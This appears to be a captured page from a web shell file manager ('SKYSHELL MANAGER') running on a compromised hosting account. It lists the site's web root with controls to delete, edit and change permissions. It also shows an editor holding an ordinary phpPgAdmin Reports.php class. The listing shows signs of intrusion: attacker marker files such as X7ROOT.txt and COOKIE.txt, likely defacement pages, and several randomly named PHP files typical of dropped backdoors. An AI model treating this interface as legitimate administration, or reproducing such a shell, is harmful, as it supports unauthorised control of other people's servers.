📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: Reports.php
<?php /** * Class to manage reports. Note how this class is designed to use * the functions provided by the database driver exclusively, and hence * will work with any database without modification. * * $Id: Reports.php,v 1.18 2007/04/16 11:02:35 mr-russ Exp $ */ class Reports { // A database driver var $driver; var $conf; /* Constructor */ function __construct(&$conf, &$status) { global $misc, $data; $this->conf = $conf; // Check to see if the reports database exists $rs = $data->getDatabase($this->conf['reports_db']); if ($rs->recordCount() != 1) $status = -1; else { // Create a new database access object. $this->driver = $misc->getDatabaseAccessor($this->conf['reports_db']); // Reports database should have been created in public schema $this->driver->setSchema($this->conf['reports_schema']); $status = 0; } } /** * Finds all reports * @return A recordset */ function getReports() { global $misc; // Filter for owned reports if necessary if ($this->conf['owned_reports_only']) { $server_info = $misc->getServerInfo(); $filter['created_by'] = $server_info['username']; $ops = array('created_by' => '='); } else $filter = $ops = array(); $sql = $this->driver->getSelectSQL($this->conf['reports_table'], array('report_id', 'report_name', 'db_name', 'date_created', 'created_by', 'descr', 'report_sql', 'paginate'), $filter, $ops, array('db_name' => 'asc', 'report_name' => 'asc')); return $this->driver->selectSet($sql); } /** * Finds a particular report * @param $report_id The ID of the report to find * @return A recordset */ function getReport($report_id) { $sql = $this->driver->getSelectSQL($this->conf['reports_table'], array('report_id', 'report_name', 'db_name', 'date_created', 'created_by', 'descr', 'report_sql', 'paginate'), array('report_id' => $report_id), array('report_id' => '='), array()); return $this->driver->selectSet($sql); } /** * Creates a report * @param $report_name The name of the report * @param $db_name The name of the database * @param $descr The comment on the report * @param $report_sql The SQL for the report * @param $paginate The report should be paginated * @return 0 success */ function createReport($report_name, $db_name, $descr, $report_sql, $paginate) { global $misc; $server_info = $misc->getServerInfo(); $temp = array( 'report_name' => $report_name, 'db_name' => $db_name, 'created_by' => $server_info['username'], 'report_sql' => $report_sql, 'paginate' => $paginate ? 'true' : 'false', ); if ($descr != '') $temp['descr'] = $descr; return $this->driver->insert($this->conf['reports_table'], $temp); } /** * Alters a report * @param $report_id The ID of the report * @param $report_name The name of the report * @param $db_name The name of the database * @param $descr The comment on the report * @param $report_sql The SQL for the report * @param $paginate The report should be paginated * @return 0 success */ function alterReport($report_id, $report_name, $db_name, $descr, $report_sql, $paginate) { global $misc; $server_info = $misc->getServerInfo(); $temp = array( 'report_name' => $report_name, 'db_name' => $db_name, 'created_by' => $server_info['username'], 'report_sql' => $report_sql, 'paginate' => $paginate ? 'true' : 'false', 'descr' => $descr ); return $this->driver->update($this->conf['reports_table'], $temp, array('report_id' => $report_id)); } /** * Drops a report * @param $report_id The ID of the report to drop * @return 0 success */ function dropReport($report_id) { return $this->driver->delete($this->conf['reports_table'], array('report_id' => $report_id)); } } ?>
Save